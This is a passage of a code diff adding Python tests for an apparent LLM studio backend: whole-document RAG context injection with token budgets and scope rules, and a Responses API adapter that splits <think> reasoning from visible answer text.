+from core.rag.chunking import Chunk
+from core.inference import tools as inf_tools
+
+# A vector per chunk just to satisfy add_chunks (the whole-doc path never reads
+# vectors); dimension is arbitrary but must be consistent within a connection.
+_VEC = [0.1, 0.2, 0.3, 0.4]
+
+
+def _chunk(
+    text,
+    index = 0,
+    page = None,
+    tokens = None,
+):
+    return Chunk(
+        text = text,
+        token_count = tokens if tokens is not None else len(text.split()),
+        page_number = page,
+        source_page_index = 0,
+        chunk_index = index,
+        page_char_start = 0,
+        page_char_end = len(text),
+    )
+
+
+def _add_doc(
+    conn,
+    scope,
+    doc_id,
+    filename,
+    sha,
+    texts,
+    *,
+    status = "completed",
+    tokens = None,
+    pages = None,
+):
+    chunks = [
+        _chunk(
+            t,
+            i,
+            page = (pages[i] if pages else None),
+            tokens = (tokens[i] if tokens else None),
+        )
+        for i, t in enumerate(texts)
+    ]
+    vectors = [list(_VEC) for _ in texts]
+    store.create_document(conn, scope = scope, filename = filename, sha256 = sha, document_id = doc_id)
+    store.add_chunks(conn, scope, doc_id, chunks, vectors)
+    store.set_document_status(conn, doc_id, status, num_chunks = len(texts))
+
+
+def _injected_text(result) -> str:
+    """The text spliced into the conversation as the synthetic tool result."""
+    tool_msg = next(m for m in result["messages"] if m.get("role") == "tool")
+    return tool_msg["content"]
+
+
+# ── store.all_chunks_for_scope ───────────────────────────────────────
+
+
+def test_all_chunks_for_scope_orders_by_document_then_index(rag_conn):
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "first.pdf", "h1", ["a", "b", "c"])
+    _add_doc(rag_conn, scope, "d2", "second.pdf", "h2", ["x", "y"])
+    rows = store.all_chunks_for_scope(rag_conn, scope)
+    assert [r["id"] for r in rows] == ["d1:0", "d1:1", "d1:2", "d2:0", "d2:1"]
+    assert rows[0]["filename"] == "first.pdf"
+    assert rows[-1]["filename"] == "second.pdf"
+    assert rows[0]["text"] == "a"
+
+
+def test_all_chunks_for_scope_excludes_non_completed(rag_conn):
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "done", "done.pdf", "h1", ["ready"])
+    _add_doc(rag_conn, scope, "pend", "pend.pdf", "h2", ["indexing"], status = "pending")
+    rows = store.all_chunks_for_scope(rag_conn, scope)
+    assert [r["id"] for r in rows] == ["done:0"]
+
+
+def test_all_chunks_for_scope_empty_scope(rag_conn):
+    assert store.all_chunks_for_scope(rag_conn, store.thread_scope("nope")) == []
+
+
+def test_all_chunks_for_scope_isolates_scopes(rag_conn):
+    _add_doc(rag_conn, store.thread_scope("t1"), "d1", "f", "h1", ["mine"])
+    _add_doc(rag_conn, store.thread_scope("t2"), "d2", "f", "h2", ["theirs"])
+    rows = store.all_chunks_for_scope(rag_conn, store.thread_scope("t1"))
+    assert [r["text"] for r in rows] == ["mine"]
+
+
+# ── store.scope_token_estimate (cheap whole-doc budget pre-check) ─────
+
+
+def test_scope_token_estimate_sums_without_hydrating(rag_conn):
+    # Stored counts sum directly; zero/missing falls back to length/4; non-completed out.
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "a.pdf", "h1", ["alpha", "bravo"], tokens = [10, 20])
+    # token_count 0 -> length/4 fallback: a 40-char chunk estimates to 10 tokens.
+    _add_doc(rag_conn, scope, "d2", "b.pdf", "h2", ["x" * 40], tokens = [0])
+    _add_doc(rag_conn, scope, "d3", "c.pdf", "h3", ["pending"], status = "pending", tokens = [99])
+    assert store.scope_token_estimate(rag_conn, scope) == 10 + 20 + 10
+    assert store.scope_token_estimate(rag_conn, store.thread_scope("none")) == 0
+
+
+def test_scope_token_estimate_matches_row_sum(rag_conn):
+    # Must agree with the exact per-row sum it short-circuits (one stored count, one
+    # length/4 fallback), so the pre-check never disagrees with the full path.
+    from core.rag.tool import _row_token_count
+
+    scope = store.thread_scope("t1")
+    _add_doc(
+        rag_conn, scope, "d1", "a.pdf", "h1", ["a long-ish chunk body here", "tail"], tokens = [0, 5]
+    )
+    rows = store.all_chunks_for_scope(rag_conn, scope)
+    assert store.scope_token_estimate(rag_conn, scope) == sum(_row_token_count(r) for r in rows)
+
+
+# ── tool.whole_document_context ──────────────────────────────────────
+
+
+def test_whole_document_context_returns_full_text_and_sources(rag_conn):
+    scope = store.thread_scope("t1")
+    _add_doc(
+        rag_conn,
+        scope,
+        "d1",
+        "report.pdf",
+        "h1",
+        ["chapter one body", "chapter two body"],
+        pages = [1, 2],
+    )
+    result = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000)
+    assert result is not None
+    text, sources = result
+    # Every chunk is present, in order, as <chunk> blocks.
+    assert "chapter one body" in text
+    assert "chapter two body" in text
+    assert '<chunk id="1"' in text
+    assert '<chunk id="2"' in text
+    assert text.index("chapter one") < text.index("chapter two")
+    # Source-map mirrors retrieval's shape, with no score on the whole-doc path.
+    assert [s["citationId"] for s in sources] == [1, 2]
+    assert all(s["filename"] == "report.pdf" for s in sources)
+    assert all(s["score"] is None for s in sources)
+    assert [s["page"] for s in sources] == [1, 2]
+    assert [s["chunkId"] for s in sources] == ["d1:0", "d1:1"]
+
+
+def test_whole_document_context_none_over_budget(rag_conn):
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "big.pdf", "h1", ["huge"], tokens = [50_000])
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) is None
+    # Same doc fits under a larger budget.
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 100_000) is not None
+
+
+def test_whole_document_context_none_when_empty(rag_conn):
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) is None
+
+
+def test_whole_document_context_non_positive_budget_returns_none(rag_conn):
+    # A non-positive budget disables whole-doc (RAG_WHOLE_DOC_MAX_TOKENS=0 footgun)
+    # rather than injecting the whole corpus unbounded.
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "a.pdf", "h1", ["tiny body"])
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 0) is None
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = -5) is None
+
+
+def test_whole_document_context_none_without_scope(rag_conn):
+    # No thread scope -> None (whole-doc is thread-attachment only).
+    assert tool.whole_document_context(max_tokens = 6000) is None
+
+
+def test_whole_document_context_null_token_count_enforces_budget(rag_conn):
+    # A missing token_count must not bypass the budget; fall back to a length estimate.
+    big = "word " * 20_000  # ~20k tokens by length estimate
+    _add_doc(rag_conn, store.thread_scope("t1"), "d1", "big.pdf", "h1", [big], tokens = [None])
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) is None
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 1_000_000) is not None
+
+
+def test_whole_document_context_spans_multiple_docs(rag_conn):
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "a.pdf", "h1", ["alpha text"])
+    _add_doc(rag_conn, scope, "d2", "b.pdf", "h2", ["bravo text"])
+    text, sources = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000)
+    assert "alpha text" in text and "bravo text" in text
+    assert {s["filename"] for s in sources} == {"a.pdf", "b.pdf"}
+
+
+# ── build_rag_autoinject wiring ──────────────────────────────────────
+
+
+def _convo(text = "summarize the whole document"):
+    return [{"role": "user", "content": text}]
+
+
+def test_build_rag_autoinject_uses_whole_doc(rag_conn):
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "doc.pdf", "h1", ["whole alpha part", "whole bravo part"])
+    result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1"})
+    assert result is not None
+    injected = _injected_text(result)
+    # Both chunks present -> the model receives the entire file, not top-K.
+    assert "whole alpha part" in injected
+    assert "whole bravo part" in injected
+    # Tool-message content is chunk text only; the citation JSON tail is internal.
+    assert inf_tools.RAG_SOURCES_SENTINEL not in injected
+
+
+def test_build_rag_autoinject_whole_doc_runs_when_autoinject_false(rag_conn, monkeypatch):
+    # Large-model Auto sets autoinject=False, but whole-doc is a separate thread-doc
+    # context mode and should still inject a fitting attachment.
+    _add_doc(rag_conn, store.thread_scope("t1"), "d1", "doc.pdf", "h1", ["entire file body"])
+    monkeypatch.setattr(
+        tool,
+        "search_for_autoinject",
+        lambda **kw: (_ for _ in ()).throw(AssertionError("retrieval should not run")),
+    )
+    result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "autoinject": False})
+    assert result is not None
+    assert "entire file body" in _injected_text(result)
+
+
+def test_build_rag_autoinject_explicit_off_disables_whole_doc(rag_conn, monkeypatch):
+    # The UI Off switch sends both autoinject=False and whole_doc=False.
+    _add_doc(rag_conn, store.thread_scope("t1"), "d1", "doc.pdf", "h1", ["small body"])
+    monkeypatch.setattr(
+        tool,
+        "search_for_autoinject",
+        lambda **kw: (_ for _ in ()).throw(AssertionError("retrieval should not run")),
+    )
+    assert (
+        inf_tools.build_rag_autoinject(
+            _convo(), {"thread_id": "t1", "autoinject": False, "whole_doc": False}
+        )
+        is None
+    )
+
+
+def test_build_rag_autoinject_falls_back_over_budget(rag_conn, monkeypatch):
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "big.pdf", "h1", ["overflow"], tokens = [50_000])
+
+    sentinel = ("TOPK_FALLBACK_TEXT", [{"citationId": 1, "filename": "big.pdf", "text": "x"}])
+    monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel)
+
+    result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1"})
+    assert result is not None
+    assert _injected_text(result) == "TOPK_FALLBACK_TEXT"
+
+
+def test_build_rag_autoinject_context_budget_falls_back(rag_conn, monkeypatch):
+    # Runtime context can be smaller than RAG_WHOLE_DOC_MAX_TOKENS; cap whole-doc to
+    # the active context and fall back to retrieval when it would overflow.
+    _add_doc(
+        rag_conn, store.thread_scope("t1"), "d1", "small.pdf", "h1", ["fits global"], tokens = [900]
+    )
+    sentinel = ("TOPK_CONTEXT_FALLBACK", [{"citationId": 1, "filename": "small.pdf", "text": "x"}])
+    monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel)
+    result = inf_tools.build_rag_autoinject(
+        _convo(), {"thread_id": "t1", "context_length": 1200, "whole_doc": True}
+    )
+    assert result is not None
+    assert _injected_text(result) == "TOPK_CONTEXT_FALLBACK"
+
+
+def test_whole_doc_budget_reserves_image_parts(monkeypatch):
+    from core.rag import config
+
+    monkeypatch.setattr(config, "WHOLE_DOC_MAX_TOKENS", 10_000)
+    scope = {"context_length": 7000, "response_headroom": 1000}
+    text_only = [{"role": "user", "content": [{"type": "text", "text": "summarize"}]}]
+    with_image = [
+        {
+            "role": "user",
+            "content": [
+                {"type": "text", "text": "summarize"},
+                {"type": "image_url", "image_url": {"url": "data:image/png;base64,abc"}},
+            ],
+        }
+    ]
+
+    assert (
+        inf_tools._whole_doc_budget(scope, text_only)
+        - inf_tools._whole_doc_budget(scope, with_image)
+        == inf_tools._IMAGE_PART_TOKEN_ESTIMATE
+    )
+
+
+def test_build_rag_autoinject_server_kill_switch_blocks_whole_doc(rag_conn, monkeypatch):
+    # RAG_THREAD_WHOLE_DOC=0 stays authoritative; browser requests should not
+    # turn it back on by default.
+    from core.rag import config
+
+    monkeypatch.setattr(config, "THREAD_WHOLE_DOC", False)
+    _add_doc(rag_conn, store.thread_scope("t1"), "d1", "doc.pdf", "h1", ["small body"])
+    monkeypatch.setattr(
+        tool,
+        "search_for_autoinject",
+        lambda **kw: (_ for _ in ()).throw(AssertionError("retrieval should not run")),
+    )
+    assert (
+        inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "autoinject": False}) is None
+    )
+
+
+def test_whole_document_context_budgets_rendered_wrappers(rag_conn):
+    # Many tiny chunks add wrapper overhead beyond raw chunk token counts; budget
+    # the rendered prompt, not just stored text.
+    texts = ["x" for _ in range(120)]
+    _add_doc(
+        rag_conn,
+        store.thread_scope("t1"),
+        "d1",
+        "many-pages.pdf",
+        "h1",
+        texts,
+        tokens = [1 for _ in texts],
+    )
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 500) is None
+
+
+def test_build_rag_autoinject_whole_doc_disabled_via_override(rag_conn, monkeypatch):
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "doc.pdf", "h1", ["small body"])
+
+    sentinel = ("TOPK_TEXT", [{"citationId": 1, "filename": "doc.pdf", "text": "x"}])
+    monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel)
+
+    # whole_doc=False forces retrieval even though the doc fits.
+    result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "whole_doc": False})
+    assert result is not None
+    assert _injected_text(result) == "TOPK_TEXT"
+
+
+def test_build_rag_autoinject_kb_scope_never_whole_doc(rag_conn, monkeypatch):
+    # A KB-only scope (no thread) goes through retrieval, never whole-doc.
+    kb_scope = store.kb_scope("K1")
+    _add_doc(rag_conn, kb_scope, "d1", "kb.pdf", "h1", ["kb body one", "kb body two"])
+
+    sentinel = ("KB_RETRIEVAL_TEXT", [{"citationId": 1, "filename": "kb.pdf", "text": "x"}])
+    monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel)
+
+    result = inf_tools.build_rag_autoinject(_convo(), {"kb_id": "K1"})
+    assert result is not None
+    assert _injected_text(result) == "KB_RETRIEVAL_TEXT"
+
+
+def test_whole_document_context_thread_scope_only(rag_conn):
+    # A project corpus chunk is never whole-doc injected, even with a thread attachment.
+    _add_doc(rag_conn, store.thread_scope("t1"), "td", "thread.txt", "h1", ["thread attachment"])
+    _add_doc(rag_conn, store.project_scope("p1"), "pd", "project.txt", "h2", ["project corpus"])
+    text, sources = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000)
+    assert "thread attachment" in text
+    assert "project corpus" not in text
+    assert {s["filename"] for s in sources} == {"thread.txt"}
+
+
+def test_build_rag_autoinject_appends_project_retrieval(rag_conn, monkeypatch):
+    # Project chat: thread attachment whole-doc'd AND project sources retrieved, merged.
+    _add_doc(
+        rag_conn,
+        store.thread_scope("t1"),
+        "td",
+        "thread.txt",
+        "h1",
+        ["thread chunk one", "thread chunk two"],
+    )
+    proj = (
+        "PROJ",
+        [
+            {
+                "citationId": 1,
+                "chunkId": "pj:0",
+                "documentId": "pj",
+                "filename": "project.txt",
+                "page": None,
+                "text": "project passage zeta",
+                "score": 0.91,
+            }
+        ],
+    )
+    captured = {}
+
+    def fake_search(**kw):
+        captured.update(kw)
+        return proj
+
+    monkeypatch.setattr(tool, "search_for_autoinject", fake_search)
+    result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "project_id": "p1"})
+    injected = _injected_text(result)
+    # Whole thread attachment AND the project passage are both injected.
+    assert "thread chunk one" in injected
+    assert "thread chunk two" in injected
+    assert "project passage zeta" in injected
+    # The companion retrieval was scoped to the project only (not thread or KB).
+    assert captured.get("scope_project_id") == "p1"
+    assert captured.get("scope_thread_id") is None
+    assert captured.get("scope_kb_id") is None
+    # Citation ids are sequential across the merged set: thread 1,2 then project 3.
+    assert '<chunk id="1"' in injected
+    assert '<chunk id="2"' in injected
+    assert '<chunk id="3"' in injected
+
+
+def test_build_rag_autoinject_skips_project_companion_over_budget(rag_conn, monkeypatch):
+    _add_doc(rag_conn, store.thread_scope("t1"), "td", "thread.txt", "h1", ["thread body"])
+    project_text = "project overflow " * 2000
+    proj = (
+        "PROJ",
+        [
+            {
+                "citationId": 1,
+                "chunkId": "pj:0",
+                "documentId": "pj",
+                "filename": "project.txt",
+                "page": None,
+                "text": project_text,
+                "score": 0.91,
+            }
+        ],
+    )
+
+    monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: proj)
+    result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "project_id": "p1"})
+    injected = _injected_text(result)
+    assert "thread body" in injected
+    assert "project overflow" not in injected
+
+
+def test_build_rag_autoinject_thread_whole_doc_ignores_project_size(rag_conn, monkeypatch):
+    # A large project corpus must not push a small thread attachment over budget;
+    # whole-doc resolves the thread scope alone (companion retrieval stubbed out).
+    monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: None)
+    _add_doc(rag_conn, store.thread_scope("t1"), "td", "thread.txt", "h1", ["small thread file"])
+    _add_doc(
+        rag_conn, store.project_scope("p1"), "pd", "project.txt", "h2", ["big"], tokens = [50_000]
+    )
+    result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "project_id": "p1"})
+    assert "small thread file" in _injected_text(result)
+
+
+def test_build_rag_autoinject_kb_defers_to_retrieval(rag_conn, monkeypatch):
+    # A KB selection is exclusive: a thread attachment can't preempt it; KB uses retrieval.
+    _add_doc(rag_conn, store.thread_scope("t1"), "td", "thread.txt", "h1", ["thread attachment"])
+    sentinel = ("KB_RETRIEVAL", [{"citationId": 1, "filename": "kb.pdf", "text": "x"}])
+    monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel)
+    result = inf_tools.build_rag_autoinject(_convo(), {"kb_id": "K1", "thread_id": "t1"})
+    assert _injected_text(result) == "KB_RETRIEVAL"
+
+
+def test_build_rag_autoinject_no_scope_returns_none(rag_conn):
+    assert inf_tools.build_rag_autoinject(_convo(), None) is None
+    assert inf_tools.build_rag_autoinject(_convo(), {}) is None
+
+
+def test_build_rag_autoinject_args_carry_user_query(rag_conn):
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "doc.pdf", "h1", ["small body"])
+    result = inf_tools.build_rag_autoinject(_convo("what is in here"), {"thread_id": "t1"})
+    assistant_msg = next(m for m in result["messages"] if m.get("role") == "assistant")
+    args = json.loads(assistant_msg["tool_calls"][0]["function"]["arguments"])
+    assert args["query"] == "what is in here"
+
+
+# ── end-to-end: real ingestion pipeline -> whole-doc injection ────────
+
+
+def test_real_ingestion_feeds_whole_document(rag_conn, stub_embeddings, tmp_path):
+    """Drive the real ingestion worker on a multi-paragraph file, then confirm whole-doc
+    injection splices the entire document, not just retrieved chunks."""
+    from core.rag import ingestion
+
+    scope = store.thread_scope("t1")
+    body = (
+        "# Quarterly Report\n\n"
+        + ("Revenue rose across every region this period. " * 40)
+        + "\n\nThe unique closing marker is xyzzy-sentinel for the final page. " * 40
+    )
+    src = tmp_path / "report.md"
+    src.write_text(body, encoding = "utf-8")
+
+    document_id = store.create_document(
+        rag_conn,
+        scope = scope,
+        filename = "report.md",
+        sha256 = "sha-e2e",
+        thread_id = "t1",
+        status = "pending",
+        stored_path = str(src),
+    )
+    job_id = ingestion._new_job(rag_conn, document_id, scope)
+    ingestion._run(job_id, document_id, scope, str(src), None)
+
+    doc = store.get_document(rag_conn, document_id)
+    assert doc["status"] == "completed"
+    assert doc["num_chunks"] >= 2  # the doc chunked into multiple pieces
+
+    result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1"})
+    assert result is not None
+    injected = _injected_text(result)
+    # Opening and ending both present -> the whole file reached the model.
+    assert "Revenue rose" in injected
+    assert "xyzzy-sentinel" in injected
+    # Every stored chunk is represented as a numbered block.
+    assert injected.count("<chunk id=") == doc["num_chunks"]
diff --git a/studio/backend/tests/test_responses_tool_passthrough.py b/studio/backend/tests/test_responses_tool_passthrough.py
index 0bea355668..46dd0d42e4 100644
--- a/studio/backend/tests/test_responses_tool_passthrough.py
+++ b/studio/backend/tests/test_responses_tool_passthrough.py
@@ -59,8 +59,11 @@ from models.inference import (
     ResponsesUsage,
 )
 from routes.inference import (
+    _ResponsesReasoningExtractor,
+    _SameTaskStreamingResponse,
     _build_chat_request,
     _chat_tool_calls_to_responses_output,
+    _extract_responses_reasoning,
     _normalise_responses_input,
     _responses_tool_output_content,
     _responses_non_streaming,
@@ -782,8 +785,18 @@ class TestResponsesNonStreamingAdapter:
         assert "<think>" not in body["output"][1]["content"][0]["text"]
         assert "</think>" not in body["output"][1]["content"][0]["text"]
 
+    def test_unclosed_think_block_extracts_as_reasoning(self):
+        reasoning, visible = _extract_responses_reasoning(
+            "<think>partial plan",
+            parse_think_markers = True,
+        )
+
+        assert reasoning == "partial plan"
+        assert visible == ""
+
     def test_monitor_records_translated_visible_text(self, monkeypatch):
         import routes.inference as inf_mod
+        import routes.inference as inf_mod
 
         async def fake_chat_completions(chat_req, request):
             assert request.state.skip_api_monitor is True
@@ -927,6 +940,38 @@ class TestResponsesNonStreamingAdapter:
         assert [item["type"] for item in body["output"]] == ["message"]
         assert body["output"][0]["content"][0]["text"] == "show <think>x</think> tags"
 
+    def test_reasoning_capable_gguf_parses_think_tags_by_default(self, monkeypatch):
+        body = self._run_with_message(
+            monkeypatch,
+            {"content": "<think>plan</think>answer"},
+            llama_backend = SimpleNamespace(
+                is_loaded = True,
+                reasoning_always_on = False,
+                supports_reasoning = True,
+            ),
+        )
+
+        assert [item["type"] for item in body["output"]] == ["reasoning", "message"]
+        assert body["output"][0]["content"] == [{"type": "reasoning_text", "text": "plan"}]
+        assert body["output"][1]["content"][0]["text"] == "answer"
+
+    def test_reasoning_capable_gguf_sanitizes_think_tags_when_disabled(self, monkeypatch):
+        payload = ResponsesRequest(input = "hi", reasoning = {"effort": "none"})
+        body = self._run_with_message(
+            monkeypatch,
+            {"content": "<think>leaked</think>answer"},
+            payload = payload,
+            llama_backend = SimpleNamespace(
+                is_loaded = True,
+                reasoning_always_on = False,
+                supports_reasoning = True,
+            ),
+        )
+
+        assert [item["type"] for item in body["output"]] == ["reasoning", "message"]
+        assert body["output"][0]["content"] == [{"type": "reasoning_text", "text": "leaked"}]
+        assert body["output"][1]["content"][0]["text"] == "answer"
+
     def test_structured_reasoning_content_extracts_text_parts(self, monkeypatch):
         body = self._run_with_message(
             monkeypatch,
@@ -949,7 +994,7 @@ class TestResponsesNonStreamingAdapter:
         assert [item["type"] for item in body["output"]] == ["message"]
         assert body["output"][0]["content"][0]["text"] == "33"
 
-    def test_reasoning_only_is_also_visible_message_text(self, monkeypatch):
+    def test_reasoning_only_stays_out_of_visible_message_text(self, monkeypatch):
         payload = ResponsesRequest(input = "hi", reasoning = {"effort": "high"})
         body = self._run_with_message(
             monkeypatch,
@@ -957,9 +1002,8 @@ class TestResponsesNonStreamingAdapter:
             payload = payload,
         )
 
-        assert [item["type"] for item in body["output"]] == ["reasoning", "message"]
+        assert [item["type"] for item in body["output"]] == ["reasoning"]
         assert body["output"][0]["content"][0]["text"] == "plan"
-        assert body["output"][1]["content"][0]["text"] == "plan"
 
 
 # =====================================================================
@@ -1033,6 +1077,36 @@ class TestResponsesStreamAdapter:
             ),
         )
 
+    def test_stream_response_avoids_legacy_receive_watcher(self, monkeypatch):
+        self._install_stream_mock(
+            monkeypatch,
+            [{"choices": [{"delta": {"content": "33"}}]}],
+        )
+        payload = ResponsesRequest(input = "hi", stream = True)
+        messages = [ChatMessage(role = "user", content = "hi")]
+
+        async def run():
+            response = await _responses_stream(payload, messages, self._Request())
+            assert isinstance(response, _SameTaskStreamingResponse)
+
+            sent = []
+
+            async def receive():
+                raise AssertionError("Responses streams poll disconnects in the generator")
+
+            async def send(message):
+                sent.append(message)
+
+            await response({"type": "http", "asgi": {"spec_version": "2.3"}}, receive, send)
+            return sent
+
+        sent = asyncio.run(run())
+
+        assert sent[0]["type"] == "http.response.start"
+        body = b"".join(message.get("body", b"") for message in sent).decode()
+        assert "response.output_text.delta" in body
+        assert '"delta":"33"' in body.replace(" ", "")
+
     def test_split_think_markers_stream_as_reasoning_and_visible_text(self, monkeypatch):
         chunks = [
             {"choices": [{"delta": {"content": "<thi"}}]},
@@ -1286,7 +1360,7 @@ class TestResponsesStreamAdapter:
         assert entry["status"] == "completed"
         assert entry["reply"] == "tail"
 
-    def test_reasoning_only_fallback_updates_monitor(self, monkeypatch):
+    def test_reasoning_only_stream_does_not_update_visible_monitor_reply(self, monkeypatch):
         import routes.inference as inf_mod
 
         class FakeExtractor:
@@ -1327,15 +1401,16 @@ class TestResponsesStreamAdapter:
 
         lines = asyncio.run(run())
 
-        assert self._payloads(lines, "response.output_text.delta")[-1]["delta"] == "plan"
+        assert self._payloads(lines, "response.output_text.delta") == []
+        assert self._payloads(lines, "response.reasoning_text.delta")[-1]["delta"] == "plan"
         [entry] = monitor.snapshot()
         assert entry["status"] == "completed"
-        assert entry["reply"] == "plan"
+        assert entry["reply"] == ""
 
-    def test_literal_think_tags_stream_as_visible_text_without_reasoning_request(self, monkeypatch):
+    def test_reasoning_capable_gguf_stream_parses_think_tags_by_default(self, monkeypatch):
         chunks = [
-            {"choices": [{"delta": {"content": "show <thi"}}]},
-            {"choices": [{"delta": {"content": "nk>x</think> tags"}}]},
+            {"choices": [{"delta": {"content": "<thi"}}]},
+            {"choices": [{"delta": {"content": "nk>plan</think>answer"}}]},
             {"choices": [], "usage": {"prompt_tokens": 2, "completion_tokens": 3}},
         ]
         self._install_stream_mock(monkeypatch, chunks)
@@ -1350,13 +1425,15 @@ class TestResponsesStreamAdapter:
 
         reasoning_deltas = self._payloads(lines, "response.reasoning_text.delta")
         text_deltas = self._payloads(lines, "response.output_text.delta")
-        assert reasoning_deltas == []
-        assert "".join(event["delta"] for event in text_deltas) == "show <think>x</think> tags"
+        assert "".join(event["delta"] for event in reasoning_deltas) == "plan"
+        assert "".join(event["delta"] for event in text_deltas) == "answer"
         completed = self._payloads(lines, "response.completed")[0]
-        assert [item["type"] for item in completed["response"]["output"]] == ["message"]
-        assert completed["response"]["output"][0]["content"][0]["text"] == (
-            "show <think>x</think> tags"
-        )
+        assert [item["type"] for item in completed["response"]["output"]] == [
+            "reasoning",
+            "message",
+        ]
+        assert completed["response"]["output"][0]["content"][0]["text"] == "plan"
+        assert completed["response"]["output"][1]["content"][0]["text"] == "answer"
 
     def test_non_reasoning_gguf_stream_keeps_literal_think_tags_visible(self, monkeypatch):
         chunks = [
@@ -1384,7 +1461,7 @@ class TestResponsesStreamAdapter:
             "show <think>x</think> tags"
         )
 
-    def test_reasoning_only_streams_as_visible_message_text(self, monkeypatch):
+    def test_reasoning_only_stream_stays_out_of_visible_message_text(self, monkeypatch):
         chunks = [
             {"choices": [{"delta": {"content": "<think>plan</think>"}}]},
             {"choices": [], "usage": {"prompt_tokens": 2, "completion_tokens": 3}},
@@ -1402,14 +1479,34 @@ class TestResponsesStreamAdapter:
         reasoning_deltas = self._payloads(lines, "response.reasoning_text.delta")
         text_deltas = self._payloads(lines, "response.output_text.delta")
         assert "".join(event["delta"] for event in reasoning_deltas) == "plan"
-        assert "".join(event["delta"] for event in text_deltas) == "plan"
+        assert text_deltas == []
         completed = self._payloads(lines, "response.completed")[0]
-        assert [item["type"] for item in completed["response"]["output"]] == [
-            "reasoning",
-            "message",
-        ]
+        assert [item["type"] for item in completed["response"]["output"]] == ["reasoning"]
+        assert completed["response"]["output"][0]["content"][0]["text"] == "plan"
+
+    def test_unclosed_think_stream_stays_out_of_visible_message_text(self, monkeypatch):
+        chunks = [
+            {"choices": [{"delta": {"content": "<thi"}}]},
+            {"choices": [{"delta": {"content": "nk>plan"}}]},
+            {"choices": [], "usage": {"prompt_tokens": 2, "completion_tokens": 3}},
+        ]
+        self._install_stream_mock(monkeypatch, chunks)
+        payload = ResponsesRequest(input = "hi", stream = True, reasoning = {"effort": "high"})
+        messages = [ChatMessage(role = "user", content = "hi")]
+
+        async def run():
+            response = await _responses_stream(payload, messages, self._Request())
+            return await self._collect(response)
+
+        lines = asyncio.run(run())
+
+        reasoning_deltas = self._payloads(lines, "response.reasoning_text.delta")
+        text_deltas = self._payloads(lines, "response.output_text.delta")
+        assert "".join(event["delta"] for event in reasoning_deltas) == "plan"
+        assert text_deltas == []
+        completed = self._payloads(lines, "response.completed")[0]
+        assert [item["type"] for item in completed["response"]["output"]] == ["reasoning"]
         assert completed["response"]["output"][0]["content"][0]["text"] == "plan"
-        assert completed["response"]["output"][1]["content"][0]["text"] == "plan"
 
     def test_structured_reasoning_content_streams_as_reasoning(self, monkeypatch):
         chunks = [
@@ -1891,3 +1988,294 @@ class TestTranslatedMessagesValidate:
         msgs = _normalise_responses_input(payload)
         for m in msgs:
             ChatMessage(**m.model_dump(exclude_none = True))
+
+
+# reasoning_prefilled: enable_thinking templates prefill an unclosed <think>, so
+# generation begins inside the block; the extractor must start in reasoning.
+class TestReasoningPrefilledExtractor:
+    def test_prefilled_single_feed_splits_lone_close(self):
+        # T1: reasoning...</think>answer with a prefilled (unseen) open tag.
+        reasoning, visible = _extract_responses_reasoning(
+            "plan</think>answer",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == "plan"
+        assert visible == "answer"
+
+    def test_prefilled_never_closed_is_all_reasoning(self):
+        # T2: truncated mid-thought (no </think>) -> all reasoning (GGUF parity).
+        reasoning, visible = _extract_responses_reasoning(
+            "still thinking with no close",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == "still thinking with no close"
+        assert visible == ""
+
+    def test_prefilled_close_split_across_feeds(self):
+        # T3: </think> straddles two feed() calls; holdback resolves it.
+        ex = _ResponsesReasoningExtractor(parse_think_markers = True, reasoning_prefilled = True)
+        r1, v1 = ex.feed("plan</th")
+        r2, v2 = ex.feed("ink>ans")
+        fr, fv = ex.finish()
+        assert (r1 + r2 + fr) == "plan"
+        assert (v1 + v2 + fv) == "ans"
+
+    def test_prefilled_close_split_one_char_per_feed(self):
+        # T4: every char in its own feed still splits correctly.
+        ex = _ResponsesReasoningExtractor(parse_think_markers = True, reasoning_prefilled = True)
+        reasoning, visible = "", ""
+        for ch in "plan</think>x":
+            r, v = ex.feed(ch)
+            reasoning += r
+            visible += v
+        fr, fv = ex.finish()
+        assert (reasoning + fr) == "plan"
+        assert (visible + fv) == "x"
+
+    def test_prefilled_empty_generation(self):
+        # T5: nothing generated.
+        reasoning, visible = _extract_responses_reasoning(
